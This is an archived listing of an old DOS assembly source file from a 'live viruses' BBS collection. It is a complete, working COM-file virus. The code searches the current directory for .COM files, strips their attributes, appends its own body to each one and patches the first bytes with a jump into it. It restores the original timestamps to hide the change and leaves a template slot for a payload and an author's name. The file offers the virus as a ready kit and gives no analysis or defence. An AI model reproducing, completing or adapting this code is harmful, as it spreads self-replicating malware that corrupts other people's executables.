home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / yb-hack.asm < prev    next >
Assembly Source File  |  1994-04-30  |  3KB  |  158 lines

  1. MAIN    SEGMENT BYTE
  2.         ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
  3.         ORG    100H
  4.  
  5. HOST:
  6.         DB     0E9H,0AH,00
  7.         DB     ' '
  8.         DB     090H,090H,090H
  9.         MOV    AH,4CH
  10.         MOV    AL,0
  11.         INT    21H
  12.  
  13. VIRUS:
  14.         CALL GET_ENTRY_PT
  15.  
  16. GET_ENTRY_PT:
  17.         POP  SI
  18.         SUB  SI,GET_ENTRY_PT - VIRUS
  19.  
  20.         PUSH SI
  21.         CLD
  22.         ADD  SI,START_CODE-VIRUS
  23.         MOV  DI,0100H
  24.         MOVSW
  25.         MOVSW
  26.         POP  SI
  27.  
  28.         LEA  DX,[SI+ DTA - VIRUS]
  29.         MOV  AH,1AH
  30.         INT  21H
  31.  
  32.         CALL FIND_FILE
  33.  
  34. EXIT_VIRUS:
  35.         MOV AH,1AH
  36.         MOV DX,80H
  37.         INT 21H
  38.  
  39. EXIT_VIRUS2:
  40.  
  41. ;****************************************************************
  42. ;
  43. ; IF A ROUTINE OF SOME SORT IS GOING IN HERE, THIS IS THE PLACE!
  44. ;
  45. ;****************************************************************
  46.         MOV  SI,0100H
  47.         XOR  BX,BX
  48.         XOR  AX,AX
  49.         CWD
  50.         PUSH SI
  51.         XOR  SI,SI
  52.         XOR  DI,DI
  53.         XOR  CX,CX
  54.         RET
  55.  
  56. FIND_FILE:
  57.         LEA  DX,[SI + FILES_TO_INFECT - VIRUS]
  58.         MOV  AH,4EH
  59.         MOV  CX,3FH
  60.  
  61. NEXT_FILE:
  62.         INT  21H
  63.         JC   NO_MO
  64.         CALL CHECK_N_INFECT_FILE
  65.         MOV  AH,4FH
  66.         JMP  NEXT_FILE
  67.  
  68. NO_MO:
  69.         RET
  70.  
  71. CHECK_N_INFECT_FILE:
  72.        LEA DX,[SI + DTA_FILE_NAME - VIRUS]
  73.        XOR CX,CX
  74.        MOV AX,4301H
  75.        INT 21H
  76.        JC  NO_GOOD
  77.  
  78.        MOV  AX,3D02H
  79.        INT  21H
  80.        XCHG BX,AX
  81.  
  82.        MOV  CX,5
  83.        LEA  DX,[SI + START_CODE - VIRUS]
  84.        MOV  AH,3FH
  85.        INT  21H
  86.        JC   NO_GOOD
  87.  
  88.        MOV  AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
  89.        ADD  AX,FINAL - VIRUS + 232D + 1640D + 100H
  90.        JC   NO_GOOD
  91.        CMP  WORD PTR [SI + START_CODE - VIRUS],'ZM'
  92.        JE   NO_GOOD
  93.        CMP  BYTE PTR [SI + START_CODE - VIRUS],0E9H
  94.        JNE  INFECT
  95.        CMP  BYTE PTR [SI + START_CODE+3 - VIRUS],20H
  96.        JE   NO_GOOD
  97.        JMP  SHORT  INFECT
  98.  
  99. NO_GOOD:
  100.        JMP  GET_OUT
  101.  
  102. INFECT:
  103.        MOV  AX,4202H
  104.        XOR  CX,CX
  105.        CWD
  106.        INT  21H
  107.  
  108.        MOV  DX,SI
  109.        MOV  CX,FINAL - VIRUS
  110.        MOV  AH,40H
  111.        INT  21H
  112.  
  113.        MOV  AX,4200H
  114.        XOR  CX,CX
  115.        CWD
  116.        INT  21H
  117.  
  118.        MOV  AX,WORD PTR [SI + DTA_FILE_SIZE - VIRUS]
  119.        SUB  AX,3
  120.        MOV  WORD PTR [SI + START_IMAGE+1 - VIRUS],AX
  121.  
  122.        MOV  CX,4
  123.        LEA  DX,[SI+ START_IMAGE - VIRUS]
  124.        MOV  AH,40H
  125.        INT  21H
  126.  
  127.        MOV  AX,5701H
  128.        MOV  DX,WORD PTR [SI + DTA_FILE_DATE - VIRUS]
  129.        MOV  CX,WORD PTR [SI + DTA_FILE_TIME - VIRUS]
  130.        INT  21H
  131.  
  132. GET_OUT:
  133.        MOV  AH,3EH
  134.        INT  21H
  135.  
  136.        LEA DX,[SI + DTA_FILE_NAME - VIRUS]
  137.        MOV CX,[SI + DTA_FILE_ATTR - VIRUS]
  138.        MOV AX,4301H
  139.        INT 21H
  140.        RET
  141.  
  142. NAME_AUTHOR     DB  'INSERT YOUR NAME HERE '
  143. FILES_TO_INFECT DB  '*.?OM',0
  144. START_CODE      DB  090H,090H,090H,090H,090H
  145. START_IMAGE     DB  0E9H,0,0,020H
  146.  
  147. DTA             DB 21 DUP(0)
  148. DTA_FILE_ATTR   DB ?
  149. DTA_FILE_TIME   DW ?
  150. DTA_FILE_DATE   DW ?
  151. DTA_FILE_SIZE   DD ?
  152. DTA_FILE_NAME   DB 13 DUP(0)
  153.  
  154. FINAL:
  155.  
  156. MAIN ENDS
  157.      END    HOST
  158.